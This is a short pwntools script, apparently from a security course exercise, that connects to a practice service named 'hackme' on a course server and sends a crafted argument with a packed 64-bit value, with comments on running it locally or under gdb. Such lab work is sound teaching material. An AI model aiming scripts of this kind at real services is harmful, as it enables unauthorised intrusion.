from pwn import *
import sys
import time

context.log_level = 'debug'

## To run locally:
#io = process('./hackme')
## To run locally in gdb debugger:
#io = gdb.debug('./hackme', gdbscript='break main\nc')
## To connect remotely:
io = remote('inf226.puffling.no', 6101)

io.send(b'-v' + p64(0x12345678))

io.shutdown('out') # if we don't send newline (\n), we need to send EOF

print(str(io.readall(timeout=2), 'ascii', errors='replace'))
# (if running in debugger, it's best to drop the timeout on readall, otherwise
# the program will exit once the timeout is reached